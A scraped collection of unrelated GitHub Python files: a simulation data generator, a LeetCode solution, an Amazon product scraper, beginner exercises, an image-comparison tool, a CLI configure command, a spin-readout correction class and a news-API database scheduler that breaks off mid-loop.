\"Elas_mat_RVE_\"+str(identifier_value)+\".txt\"\n name=os.path.join(folder_dest,name_out)\n fo = open(name,\"w\")\n fo.write(str(elas_mat))\n fo.write(\"\\n\")\n fo.close()\n print(\"Data generated for RVE_\"+identifier_value)\n #Read every RVE_data for elas matrix from micromechanics simulations\n for j in range(0,len(val)):\n #print(str(val[jind]))\n identifier_value = \"_E_\"+str(val[jind])\n folder_dest_1 = \"output\"\n folder_name = \"temp_RVE_\"+str(identifier_value)\n folder_dest = os.path.join(path,folder_dest_1,folder_name)\n name_out = \"Elas_mat_RVE_\"+str(identifier_value)+\".txt\"\n name=os.path.join(folder_dest,name_out)\n with open (name) as f_stiff:\n stiffness = f_stiff.read()\n stiff_mat_lc = []\n load_case = []\n #Extract elasticity matrix from RVE .txt\n print(\"Computing composite properties from micromechancis\")\n for load in range(0,6):\n #print(load)\n load_case = stiffness.split()[load]\n lc = load_case.replace(\"],\",\"\")\n lc_1 = lc.replace(\"[[\",\"\")\n lc_2 = lc_1.replace(\"\\'\",\"\")\n lc_3 = lc_2.replace(\"[\",\"\")\n lc_sp =[float(i) for i in (lc_3.split(\",\"))]\n #print(lc_sp)\n stiff_mat_lc.append(lc_sp)\n #Generate stiffness and compliance matrices\n stiff_mat = np.array(stiff_mat_lc)\n compl_mat = np.linalg.inv(stiff_mat)\n #Transverse isotropic material properties\n E1 = 1/compl_mat[0][0]\n E2 = 1/compl_mat[1][1]\n E3 = 1/compl_mat[2][2]\n G13 = 0.5/compl_mat[3][3]\n G23 = 0.5/compl_mat[4][4]\n G12 = 0.5/compl_mat[5][5]\n nu12_21 = compl_mat[0][1]*E1*(-1)\n nu31_32 = compl_mat[1][2]*E3*(-1)\n nu13_23 = compl_mat[2][0]*E1*(-1)\n #Use Xu model for compressive strength\n Xc = compr_stren(val[j], val_nu_m[j], val_Gm[j])\n #Use Turon model for tensile strength\n Xt = ten_stren(val_xt_m[j])\n Xt_trans = 0.6*Xt\n sc = shear_stren(val_sx_m[j])\n ro = calc_density(val_ro[j])\n mat_comp_out = \"out_temp\"\n mat_comp_dir = \"mat_composite\"\n mat_comp_folder = val_name[j]\n mat_comp_path = os.path.join(path, mat_comp_out, mat_comp_dir, mat_comp_folder)\n if not os.path.isdir(mat_comp_path):\n os.mkdir(mat_comp_path,mode)\n gen_composite.gen_mat(\"\",mat_comp_path,ro,E1,E2,nu12_21,nu31_32,G12,G23,sc,Xt,Xt_trans,Xc)\n \n #Extract all matrix properties from input file coat_sets.txt\n folder_input_coat = \"input\"\n path_input_1_coat = os.path.join(path,folder_input_coat)\n fname_input_coat = \"coat_sets.txt\"\n path_input_coat = os.path.join(path_input_1_coat,fname_input_coat)\n fo = open(path_input_coat,\"r\")\n lines = fo.readlines()\n val_name_coat = []\n val_coat = [] #List of E for coat\n val_ro_coat = [] #List of ro for coat\n val_pr_coat = []\n print(\"Reading data from user input files\")\n for i_val in range (int(len(lines))):\n #Extract coat properties from .txt\n \n if lines[i_val].split(\" \")[0] == 'Name':\n val_name_coat.append(lines[i_val].split(\" \")[1])\n elif lines[i_val].split(\" \")[0] == 'ro':\n val_ro_coat.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0] == 'E':\n val_coat.append(float(lines[i_val].split(\" \")[1]))\n elif lines[i_val].split(\" \")[0] == 'pr':\n val_pr_coat.append(float(lines[i_val].split(\" \")[1]))\n #mat_coat generation\n print(\"Generating mat_coat \")\n sub_foldr_mat_coat = \"mat_coat\"\n dest_temp_mat_coat =os.path.join(path,folder,sub_foldr_mat_coat)\n if not os.path.isdir(dest_temp_mat_coat):\n os.mkdir(dest_temp_mat_coat,mode)\n for j in range(0,len(val_coat)):\n mat_coat_out = \"out_temp\"\n mat_coat_dir = \"mat_coat\"\n mat_coat_folder = val_name[j]\n mat_coat_path = os.path.join(path, mat_coat_out, mat_coat_dir, mat_coat_folder)\n if not os.path.isdir(mat_coat_path):\n os.mkdir(mat_coat_path,mode)\n gen_coat.gen_mat(\"\",mat_coat_path,val_ro_coat[j],val_coat[j],val_pr_coat[j])\n \n #section coat generation\n print(\"Generating section coat\")\n sub_foldr_sec_coat = \"section_coat\"\n dest_temp_sec_coat =os.path.join(path,folder,sub_foldr_sec_coat)\n if not os.path.isdir(dest_temp_sec_coat):\n os.mkdir(dest_temp_sec_coat,mode)\n thck_coat = [1.48,2.51,3.67,4.89]\n for j in range(0,len(thck_coat)):\n sec_coat_out = \"out_temp\"\n sec_coat_dir = \"section_coat\"\n sec_coat_folder = \"th_\"+str(thck_coat[j])\n sec_coat_path = os.path.join(path, sec_coat_out, sec_coat_dir, sec_coat_folder)\n if not os.path.isdir(sec_coat_path):\n os.mkdir(sec_coat_path,mode)\n gen_coat.gen_section(\"\",sec_coat_path,thck_coat[j])\n #Query number of temp_output files\n sub_out_temp = \"out_temp\"\n path_temp_out = os.path.join(path,sub_out_temp)\n var_sets = query_number_subfolder(path_temp_out)\n #p = [x[0] for x in os.walk(path_temp_out)]\n var = query_list_subdirs(path_temp_out)\n count_vars = []\n dict_count = {}.fromkeys(var,0)\n count_seq = []\n var_var_list = []\n #Extract number of data points of every variable\n for i in range(var_sets):\n if var[i] == 'part_composite':\n folder_var = var[i]\n path_var = os.path.join(path_temp_out,folder_var)\n var_var_sets = query_number_subfolder(path_var)\n var_var = query_list_subdirs(path_var)\n count_vars.append(var_var_sets)\n var_var_list.append(var_var)\n dict_count.update(part_composite = var_var_sets)\n \n for j in range(var_var_sets):\n folder_var_var = var_var[j]\n path_var_var = os.path.join(path_var,folder_var_var)\n var_var_var_sets = query_number_subfolder(path_var_var)\n var_var_var = query_list_subdirs(path_var_var)\n count_seq.append(var_var_var)\n else:\n folder_var = var[i]\n path_var = os.path.join(path_temp_out,folder_var)\n var_var_sets = query_number_subfolder(path_var)\n var_var = query_list_subdirs(path_var)\n var_var_list.append(var_var)\n count_vars.append(var_var_sets)\n if var[i] == 'mat_coat':\n dict_count.update(mat_coat = var_var_sets)\n elif var[i] == 'section_coat':\n dict_count.update(section_coat = var_var_sets)\n elif var[i] == 'mat_composite':\n dict_count.update(mat_composite = var_var_sets)\n \n folder_dyna_out = \"output\"\n sub_fldr_dyna_out = \"dyna_cyl\"\n path_dyna_out = os.path.join(path,folder_dyna_out,sub_fldr_dyna_out)\n if not os.path.isdir(path_dyna_out):\n os.mkdir(path_dyna_out,mode) \n #combine, pick and place\n # for i in range(len(count_vars)):#iterate over every variable set\n # dir = \"out_temp\"\n # folder = var[i]\n # path_fldr = os.path.join(path,dir,folder)\n # sub_dir_list = query_list_subdirs(path_fldr)\n # for j in range(count_vars[i]):#Navigate to folder to copy source\n # sub_dir = sub_dir_list[j]\n # path_sub_dir = os.path.join(path_fldr,sub_dir)\n # dest_folder = \n #Generate possible number of combinations\n print(\"Combining temporary output files\")\n all_list = []\n for p in range(len(count_vars)):\n list_head = gen_list(count_vars[p])\n all_list.extend([list_head]) \n res_comb = list(itertools.product(*all_list))\n q_set = [] \n for i in range(len(res_comb)):\n dir = \"output\"\n sub_dir = \"dyna_cyl\"\n dirname = str(res_comb[i])\n path_dyna_comb = os.path.join(path,dir,sub_dir,dirname)\n if not os.path.isdir(path_dyna_comb):\n os.mkdir(path_dyna_comb,mode)\n #Copying main.k from asset to folder\n asset_main = \"asset\"\n foldr_main = \"dyna_cyl\"\n fnam_main = \"main.k\"\n path_main_src = os.path.join(path,asset_main,foldr_main,fnam_main)\n path_main_dest = os.path.join(path_dyna_comb,fnam_main)\n shutil.copy(path_main_src,path_main_dest)\n for j in range(len(count_vars)):\n fldr = \"out_temp\"\n dir = var[j]\n if var[j] == 'part_composite':\n for k in range(len(var_var_list[j])):\n sub_dir_1 = var_var_list[j][k]\n #print(sub_dir_1)\n #print (i)\n #print(j)\n temp_path = os.path.join(path,fldr,dir,sub_dir_1)\n q = query_list_subdirs(temp_path)\n q_set.append(q)\n if j == 0:\n sub_foldr = q[1]\n elif j == 1:\n sub_foldr = q[1]\n elif j == 2:\n sub_foldr = q[7]\n fnam = var[j] + \".k\"\n temp_path_2 = os.path.join(temp_path,sub_foldr,fnam)\n path_dest = os.path.join(path_dyna_comb,fnam)\n shutil.copy(temp_path_2,path_dest)\n \n \n else:\n sub_dir = var_var_list[j][j]\n fnam = var[j] + \".k\"\n path_src = os.path.join(path,fldr,dir,sub_dir,fnam)\n path_dest = os.path.join(path_dyna_comb,fnam)\n shutil.copy(path_src,path_dest)\n #print(\"Copying from \"+path_src+\" to \"+path_dest)\n \n \n \n\n \n \n \n \n \n \n\n \n \n \nif __name__ == '__main__':\n # Calling main() function\n main()\n","repo_name":"iamsumeru/MultiDataGen","sub_path":"gen_dyna copy_2.py","file_name":"gen_dyna copy_2.py","file_ext":"py","file_size_in_byte":19686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30243245166","text":"'''\nhttps://leetcode.com/problems/rectangle-area/\n\nFind the total area covered by two rectilinear rectangles in a 2D plane.\nEach rectangle is defined by its bottom left corner and top right corner as shown in the figure.\n\nExample:\nInput: A = -3, B = 0, C = 3, D = 4, E = 0, F = -1, G = 9, H = 2\nOutput: 45\n\nNote:\nAssume that the total area is never beyond the maximum possible value of int.\n'''\n\nclass Solution:\n def computeArea(self, A: int, B: int, C: int, D: int, E: int, F: int, G: int, H: int) -> int:\n x1, y1, x2, y2 = A, B, C, D\n x1_, y1_, x2_, y2_ = E, F, G, H\n res = (x2 - x1) * (y2 - y1) + (x2_ - x1_) * (y2_ - y1_)\n if x1 < x2_ and y1 < y2_ and x1_ < x2 and y1_ < y2:\n overlap = (min(x2, x2_) - max(x1, x1_)) * (min(y2, y2_) - max(y1, y1_))\n res -= overlap\n return res\n","repo_name":"ruozhizhang/leetcode","sub_path":"problems/math/Rectangle_Area.py","file_name":"Rectangle_Area.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"15484331516","text":"import random\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport csv\r\nfrom time import sleep\r\n\r\npage = 1\r\n\r\nfile = open('amazon_products.csv', 'w', newline='', encoding='utf-8')\r\nf_obj = csv.writer(file)\r\nf_obj.writerow(['Title', 'Price', 'Rating'])\r\n\r\nwhile page <= 5:\r\n url = 'https://www.amazon.com/s?i=specialty-aps&bbn=16225007011&rh=n%3A16225007011%2Cn%3A172456&page=' + str(page)\r\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36'}\r\n r = requests.get(url, headers=headers)\r\n soup = BeautifulSoup(r.content, 'html.parser')\r\n\r\n products = soup.find_all('div', {'data-component-type': 's-search-result'})\r\n\r\n for product in products:\r\n title = product.find('span', {'class': 'a-size-medium'}).text.strip()\r\n price = product.find('span', {'class': 'a-offscreen'}).text.strip()\r\n rating = product.find('span', {'class': 'a-icon-alt'}).text.strip()\r\n\r\n f_obj.writerow([title, price, rating])\r\n\r\n page += 1\r\n delay = random.randint(15, 20)\r\n sleep(delay)\r\n\r\nfile.close()\r\nprint(\"Data saved to amazon_products.csv\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Troxv9/Nikoloz-Tabatadze","sub_path":"py davaleba.py","file_name":"py davaleba.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35507072131","text":"\"\"\"\n#100 Days of Code Challenge\nDay 6: Functions\nNote:\n 1. To execute a block of code use Alt + Shift + E on Pycharm IDE\n 2. \\n - introduces a new line\n 3. Arguments are passed into functions.\n 4. The order of arguments matters unless you explicitly define them\n 5. docstring are used to describe what a function does\n\"\"\"\n\n\n# User Defined Functions\ndef magic_numbers():\n trials = 3\n while not False:\n try:\n number = float(input(\"Enter your magic number: \"))\n trials -= 1\n if number == 25:\n print(\"Magic Number Found! \", number)\n break\n elif trials == 0:\n print(\"Your time has expired.\"\n \"Please try again\")\n break\n except:\n print(\"Please enter a valid number. \")\n\n\nmagic_numbers()\n\n\ndef fibanoci_series(n):\n fibon_series = \"\"\n number_1 = 0\n number_2 = 1\n series = 0\n while series in range(n):\n fibon_series += str(number_2) + \", \"\n result = number_1 + number_2\n fibon_series += str(result) + \", \"\n series += 1\n number_2 += result\n number_1 = result\n\n return fibon_series\n\n\nfibanoci_series(2)\n\n\ndef sum_numbers(lower_limit, upper_limit):\n # Docstrings - Provide more information about a function\n \"\"\"\n Write a function that takes in 2 numbers.\n Find out all the numbers divisible by 5 between those numbers and add them up.\n Return the sum.\n param n: Lower limit\n param m: Upper limit\n return: Sum\n \"\"\"\n sum_total = 0\n for number in range(lower_limit, upper_limit):\n if number % 5 == 0:\n sum_total += number\n return sum_total\n\n\nsum_numbers(4, 100)\n\n\ndef avg_ages(*ages):\n # *ages takes any number of variables\n for age in ages:\n print(age)\n\n\navg_ages(10, 20)\navg_ages(10, 20, 30)\n\n# Python Standard Functions\n# These are just a sample\n\n# length functions\nname = \"Anthony Manne\"\nlen(name) # Return number of characters in the string\n\n# absolute functions - only takes in numbers\nabs(-10) # Returns magnitude of a number\n\n# input functions\nmovies = input(\"Enter your favourite movie: \") # Returns as a string\n\n# minimum and maximum functions\n# used for both numbers and characters\ngrades = [12,25,63,98,10,2,56,36,99,18]\nmin(grades)\nmax(grades)\n\n# Sum of alternate odd numbers within a range\ndef alternate_odd(limit):\n total_sum = 0\n odd_numbers = []\n for number in range(1, limit):\n if number % 2 != 0:\n odd_numbers.append(number)\n for item in odd_numbers:\n if odd_numbers.index(item) % 2 == 0:\n total_sum += item\n return total_sum\n\n\nalternate_odd(20)\n\n# Reverse a string\ndef reverse(name):\n new_name = \"\"\n for letter in name:\n letter = (len(name) - name.index(letter))\n new_name += name[letter - 1]\n return new_name\n\n\nreverse('vinicent')","repo_name":"daviesombasa/100-Days-of-Code","sub_path":"day_6.py","file_name":"day_6.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19573029294","text":"#!/usr/bin/env python3.7\n\n# AUTOBJORN 1.0\n\nfrom PIL import Image\nfrom pathlib import Path\nfrom skimage import metrics\nimport argparse\nimport logging\nimport requests\nimport csv\nimport time\nimport cv2\nimport sys\n\n\n# Get local version from CHANGES.txt\n# Get most recent version from CHANGES.txt in github\n# Compare and notify if update exists\ndef check_version():\n\n # Get local version\n version_file = 'CHANGES.txt'\n\n with open(version_file, 'r') as file:\n data = file.read().split('\\n')\n\n if not data[-1]:\n local_version = data[-2].split(',')[0]\n else:\n local_version = data[-1].split(',')[0]\n \n # Get remote version\n url = 'https://raw.githubusercontent.com/Rixonpolvi/AutoBjorn/master/CHANGES.txt'\n\n try:\n r = requests.get(url)\n\n if r.status_code == 200:\n version_info = r.text\n versions = version_info.split('\\n')\n\n if not versions[-1]:\n latest_version = versions[-2].split(',')[0]\n else:\n latest_version = versions[-1].split(',')[0]\n \n else:\n logging.info('Version check failed - remote check unsuccessful')\n\n except requests.exceptions.HTTPError as e:\n print(f'Version check failed - {e}')\n logging.info(f'Version check failed - {e}')\n\n if local_version != latest_version:\n print(f'Update is available - {local_version} -> {latest_version}')\n logging.info(f'Update is available - {local_version} -> {latest_version}')\n logging.info(f'Version - {local_version}')\n\n\n# Arguments\n# input file\n# Optional output file\ndef parse_arg():\n default_outfile = 'output.csv'\n\n parser = argparse.ArgumentParser(description='AutoBjorn image comparison')\n parser.add_argument('infile', type=str, help='Input CSV file')\n parser.add_argument('-o', '--outfile', type=str, help='Output CSV file', default=default_outfile)\n\n args = parser.parse_args()\n\n print(f'Input file - {args.infile}')\n print(f'Output file - {args.outfile}')\n\n return args\n\n\n# Structural Similarity Index (SSI) --> -1 to 1 (Different to same)\n# Bjorn Similarity Index (BSI) --> 0 to 1 (Same to different)\n# Normalize [-1,1] --> [1,0] and subtract from 1 to flip\n# new = 1 - (old - min/max - min)\n# new = 1 - (old - -1/1 - -1)\ndef normalize(ssi):\n return (1 - (ssi + 1) / 2)\n\n\n# Compare 2 image files\n# Return ssi value and time taken\ndef compare_images(imageA, imageB):\n ssi_start = time.time()\n ssi = metrics.structural_similarity(imageA, imageB, multichannel=True)\n ssi_finish = time.time()\n ssi_time = ssi_finish - ssi_start\n \n return ssi, ssi_time\n\n\n# Load images for comparison\n# .gif not working with opencv\n# image converstion using pillow.Image\ndef load_image(path):\n if path.suffix == '.gif':\n convert_to_png = path.parent / path.stem\n Image.open(path).save(f'{str(convert_to_png) + \"_tmp\"}.png', 'PNG')\n image = cv2.imread(f'{str(convert_to_png) + \"_tmp\"}.png', 1)\n else:\n image = cv2.imread(str(path), 1)\n return image \n\n\n# Read from args.infile\n# Write to args.outfile\n# N/A values if images do not exist on the filesystem\ndef read_write(args):\n completed = 0\n failures = 0\n\n with open(args.infile, 'r') as inputcsv, open(args.outfile, 'w', newline='') as outfile:\n reader = csv.reader(inputcsv, delimiter=',')\n next(reader,None)\n \n writer = csv.writer(outfile)\n writer.writerow(('image1', 'image2', 'similar', 'elapsed'))\n\n for row in reader:\n image1_path = Path(row[0])\n image2_path = Path(row[1])\n \n if image1_path.exists() and image2_path.exists(): \n image1 = load_image(image1_path)\n image2 = load_image(image2_path)\n \n ssi, elapsed_time = compare_images(image1, image2)\n bsi = normalize(ssi)\n \n # For differences that are undetectable to the human eye (same image, diff format)\n if bsi < 0.03:\n bsi = 0\n\n writer.writerow((image1_path, image2_path, f'{bsi:.2f}', f'{elapsed_time:.3f}'))\n completed += 1\n else:\n writer.writerow((image1_path, image2_path, 'N/A', 'N/A'))\n failures += 1\n \n logging.info(f'Input file - {args.infile}')\n logging.info(f'Output file - {args.outfile}')\n logging.info(f'Completed - {completed}, failures - {failures}')\n\n\ndef main():\n logging.basicConfig (filename='autoBjorn.log', level=logging.INFO)\n logging.info(f'Started program - {time.time()}')\n arguments = parse_arg()\n check_version()\n read_write(arguments)\n logging.info(f'Ended program - {time.time()}')\n print('Complete')\n\n\nif __name__ == '__main__':\n main() \n \n\n","repo_name":"Rixonpolvi/AutoBjorn","sub_path":"autobjorn/autoBjorn.py","file_name":"autoBjorn.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5396032665","text":"\"\"\"The configure command.\"\"\"\n\nimport yaml\nimport inquirer\nfrom pyemojify import emojify\nfrom pprint import pprint\nfrom .base import Base\nfrom ..utils.utils import print_line, encode_pwd, save_configs, get_configs, get_default_configs, get_config_file_path\n\nclass Configure(Base):\n \"\"\"Configure\"\"\"\n\n def run(self):\n print_line(\":smile: Let's configure your profile for the cli.\")\n configs = get_configs()\n default_configs = get_default_configs()\n if configs:\n hosts = configs.get('hosts', {})\n services = configs.get('services', {})\n else:\n hosts = default_configs.get('hosts')\n services = default_configs.get('services')\n\n questions = [\n inquirer.Text('username', message=\"What's your username\"),\n inquirer.Password('pwd', message='Please enter your cap password, {username}'),\n inquirer.Text('xymon_base_url', message=\"What's xymon's base url\", default=\"http://xymon.infra.local\"),\n ]\n\n answers = inquirer.prompt(questions)\n username = answers.get('username')\n xymon_base_url = answers.get('xymon_base_url')\n pwd = answers.get('pwd')\n bp = encode_pwd(pwd)\n data = {\n 'username': username,\n 'bp': bp,\n 'xymon_base_url': xymon_base_url\n }\n data['hosts'] = hosts\n data['services'] = services\n save_configs(data)\n","repo_name":"vs-zhang/snm","sub_path":"snm/commands/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15859944190","text":"import sympy\nfrom sympy.utilities.lambdify import implemented_function, lambdify\nfrom analysis.lib.math import error\n\nclass NuclearSpinROC:\n def __init__(self):\n self.F0_ssro = 1.\n self.u_F0_ssro = 0.\n self.F1_ssro = 1.\n self.u_F1_ssro = 0.\n \n self.P_min1 = 0.95\n self.u_P_min1 = 0\n self.P_0 = 0.04\n self.u_P_0 = 0\n self.P_plus1 = 0.01\n self.u_P_plus1 = 0\n self.F0_RO_pulse = 0.98\n self.u_F0_RO_pulse = 0.0105\n self.F1_RO_pulse = 0.99\n self.u_F1_RO_pulse = 0.01\n \n def _setup(self):\n self._F0_ssro, self._F1_ssro, self._F0_RO_pulse, self._F1_RO_pulse, self._P_min1, self._P_0 = \\\n sympy.symbols('F0_ssro F1_ssro F0_RO_pulse F1_RO_pulse P_min1 P_0')\n self._p0 = sympy.symbols('p0')\n \n # The error matrix is built up of three matrices RO_err, CNOT_err and \n # Init_err. The first reflects fidelities of the electron RO, \n # the second the fidelities in the pi (F0) and 2pi (F1) parts of the \n # pi-2pi pulse (as CNOT gate). The third matrix includes populations \n # in the three nitrogen lines after initialization in -1.\n self.error_matrix =sympy.Matrix(\n [[self._F0_ssro, 1.-self._F1_ssro],\n [1.-self._F0_ssro, self._F1_ssro]])* \\\n sympy.Matrix([[self._F0_RO_pulse, 1.-self._F1_RO_pulse, 0.],\n [1.-self._F0_RO_pulse, self._F1_RO_pulse, 1.]])* \\\n sympy.Matrix([[self._P_min1,self._P_0],\n [self._P_0,self._P_min1],\n [1.-self._P_0-self._P_min1,1.-self._P_0-self._P_min1]])\n \n self.correction_matrix = self.error_matrix.inv()\n \n corr_vec = self.correction_matrix * sympy.Matrix([self._p0, 1-self._p0])\n corr_p0 = corr_vec[0]\n \n self.p0_formula = error.Formula()\n self.p0_formula.formula = corr_p0\n \n def num_evaluation(self, p0, u_p0=None):\n self._setup()\n \n self.p0_formula.values[self._F0_ssro] = self.F0_ssro\n self.p0_formula.uncertainties[self._F0_ssro] = self.u_F0_ssro\n self.p0_formula.values[self._F1_ssro] = self.F1_ssro\n self.p0_formula.uncertainties[self._F1_ssro] = self.u_F1_ssro\n \n self.p0_formula.values[self._F0_RO_pulse] = self.F0_RO_pulse\n self.p0_formula.uncertainties[self._F0_RO_pulse] = self.u_F0_RO_pulse\n self.p0_formula.values[self._F1_RO_pulse] = self.F1_RO_pulse\n self.p0_formula.uncertainties[self._F1_RO_pulse] = self.u_F1_RO_pulse\n\n self.p0_formula.values[self._P_min1] = self.P_min1\n self.p0_formula.uncertainties[self._P_min1] = self.u_P_min1\n self.p0_formula.values[self._P_0] = self.P_0\n self.p0_formula.uncertainties[self._P_0] = self.u_P_0\n \n self.p0_formula.num_eval(self._p0, p0, u_p0)\n\n return self.p0_formula.num_eval(self._p0, p0, u_p0)\n \n ","repo_name":"jheremans/analysis","sub_path":"lib/spin/Nspin_correction.py","file_name":"Nspin_correction.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72212158756","text":"import argparse\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--start', type=int, required=True)\n parser.add_argument('--end', type=int, required=True)\n parser.add_argument('--data_path', type=str, required=True)\n args = parser.parse_args()\n\n res = []\n for i in range(args.start, args.end+1):\n res.append(args.data_path + \"/\" + \"databin.\" + str(i))\n res = \":\".join(res)\n print(res)\nif __name__ == \"__main__\":\n main()","repo_name":"fe1ixxu/fairseq-encoder","sub_path":"third_party/get_databin_list.py","file_name":"get_databin_list.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41222566242","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Author: Akshay Ijantkar\n# ### Team: Aqua Wizards\n# ### Project: Surfers Bible\n\n# * https://launchschool.com/books/sql/read/table_relationships\n\n# # Import Libraries:\n\n# 0 1 * * * /usr/bin/python3 /home/ubuntu/pop_db_sch_ss/Daily_Scheduler_Swell_Pollution_Astro_News_API.py >> /home/ubuntu/pop_db_sch_ss/log_Daily_Scheduler_Swell_Pollution_Astro_News_API.txt 2>&1\n\n# In[1]:\n\n\n# import nltk\n\nimport pandas as pd\nimport numpy as np\nimport random\nimport matplotlib as plt\nfrom matplotlib import pyplot\n# import seaborn as sns; sns.set()\n# from scipy.stats import norm \nimport matplotlib.pyplot as plt\n# For Linear regression\n# from sklearn.linear_model import LinearRegression\n# For split given dataset into train and test set.\n# from sklearn.model_selection import train_test_split\n# To verify models using this metrics \n# from sklearn.metrics import mean_squared_error, r2_score\n\n# import statsmodels.formula.api as smf\n# from sklearn.linear_model import LinearRegression\n# from sklearn import metrics\n# v\nfrom matplotlib import rcParams\nrcParams['figure.figsize'] = 50,50\nimport pandas_profiling\n# pd.set_option('display.max_rows', 1500)\n# pd.set_option('display.max_columns', 500)\n# pd.set_option('display.width', 1000)\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\n\nfrom pygeocoder import Geocoder\n\nimport sys\n# from weather_au import api\n# from weather_au import summary\n# from weather import place, observations, uv_index\nimport time\n\nimport json\nimport requests\nfrom datetime import datetime, timedelta\n# from catboost import CatBoostClassifier\n# from sklearn.model_selection import train_test_split\n\n# from sklearn.metrics import r2_score\n# from keras.models import Sequential\n# from keras.layers import Dense\n# from keras.wrappers.scikit_learn import KerasRegressor\n# from sklearn.model_selection import cross_val_score\n# from sklearn.model_selection import KFold\n# from sklearn.model_selection import cross_validate\n\n# import catboost as ctb\n# from catboost import CatBoostRegressor, FeaturesData, Pool\n# from scipy.stats import uniform as sp_randFloat\n# from scipy.stats import randint as sp_randInt\n# from scipy.stats import uniform\n# from sklearn.model_selection import RandomizedSearchCV\n# from sklearn.metrics.pairwise import cosine_similarity\n# from sklearn.metrics.pairwise import euclidean_distances\n# from sklearn.metrics.pairwise import manhattan_distances\n# from sklearn.metrics.pairwise import pairwise_distances\nimport re\n# import pprint\nfrom datetime import date\nimport datetime\n# import sqlite3\n# from sqlite3 import Error\nfrom datetime import datetime\nfrom dateutil import tz\nimport datetime\n\n# get_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# # Give Date:\n\n# In[2]:\n\n\nfrom datetime import datetime\nimport datetime\nno_days_from_today = 3\n\nselect_date = \"\"\n\nif select_date == \"\": \n today = date.today()\n today_date = today.strftime(\"%Y-%m-%d\") \n given_date = str((datetime.datetime.strptime(today_date, \"%Y-%m-%d\") + datetime.timedelta(days = no_days_from_today)).date())\n print(\"today_date = \", today_date)\n print(\"given_date = \", given_date)\nelse:\n given_date = select_date\n print(\"given_date = \", given_date)\n# print(\"today_date = \", today_date)\n\n\n# # Everything Endpoint:\n\n# In[3]:\n\n\nnews_col_lst = ['date','news_topic','source', 'author', 'title', 'description', 'url', 'urlToImage', 'publishedAt']\n\nnews_df = pd.DataFrame(columns = news_col_lst)\nnews_df\n\n\n# In[4]:\n\n\nimport re\ndef cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\n\n# In[5]:\n\n\nimport psycopg2 as ps\n\n# define credentials \ncredentials = {'POSTGRES_ADDRESS' : 'test-surfers-bible-instance.cljoljhkgpfb.ap-southeast-2.rds.amazonaws.com', # change to your endpoint\n 'POSTGRES_PORT' : 5432, # change to your port\n 'POSTGRES_USERNAME' : 'ai_postgres', # change to your username\n 'POSTGRES_PASSWORD' : '', # change to your password\n 'POSTGRES_DBNAME' : 'test_surfers_bible_db'} # change to your db name\n\n# create connection and cursor \nconn = ps.connect(host=credentials['POSTGRES_ADDRESS'],\n database=credentials['POSTGRES_DBNAME'],\n user=credentials['POSTGRES_USERNAME'],\n password=credentials['POSTGRES_PASSWORD'],\n port=credentials['POSTGRES_PORT'])\n\ncur = conn.cursor()\n\n# cur.execute(\"DROP TABLE SEA_WATER_QUALITY_TABLE;\")\n\n\nNEWS_TABLE_df = pd.read_sql(\"SELECT * FROM NEWS_TABLE;\", conn)\n\ncur.close()\nconn.close()\n# NEWS_TABLE_df.head()\n\n\n# In[6]:\n\n\ntopics_lst = [\n'shark+australia',\n'beach+jellyfish+australia',\n'surfing+events',\n'beach+rip+currents',\n'beach+surfing+australia',\n'surfing+guide',\n]\n\ntopics_keywords_lst = [\n\"shark+australia\", \n\"beach+jellyfish+australia\", \n\"surfing+events+competition+Margaret+River+Pro+Rip+Curl+Pro+Australian+Surf+Life+Saving+Championships+Surfest+Quiksilver+Pro\",\n\"beach+rip+currents+ripcurrents+drowning\", \n\"beach+surfing+life+australia+weather+waves\", \n\"surfingaustralia+guide+tutorial\",\n]\nfor topics_keywords, topic in zip(topics_keywords_lst[:], topics_lst[:]): \n news_row_dict = {}\n \n q_str = qInTitle_str = topics_keywords\n NEWS_API_KEY = \"\"\n\n from_to_date = today_date\n\n get_request_url_str = \"https://newsapi.org/v2/everything?\"\n\n get_request_url_str += \"q=\"\n get_request_url_str += q_str\n\n get_request_url_str += \"&qInTitle\"\n get_request_url_str += qInTitle_str\n\n get_request_url_str += \"&sortBy=\"\n get_request_url_str += \"relevancy\"\n\n get_request_url_str += \"&from\"\n get_request_url_str += from_to_date\n\n\n get_request_url_str += \"&to\"\n get_request_url_str += from_to_date\n\n get_request_url_str += \"&language\"\n get_request_url_str += \"en\"\n\n get_request_url_str += \"&country\"\n get_request_url_str += \"au\"\n\n get_request_url_str += \"&apiKey=\"\n get_request_url_str += NEWS_API_KEY\n \n\n try:\n response_dict = json.loads(requests.get(get_request_url_str).text)\n\n if response_dict['status'] == 'ok':\n\n if response_dict['totalResults'] > 0:\n# print(\"len response_dict['articles'] = \", len(response_dict['articles']))\n# print(\"response_dict['articles'] = \", response_dict['articles'])\n\n\n for article_dict in 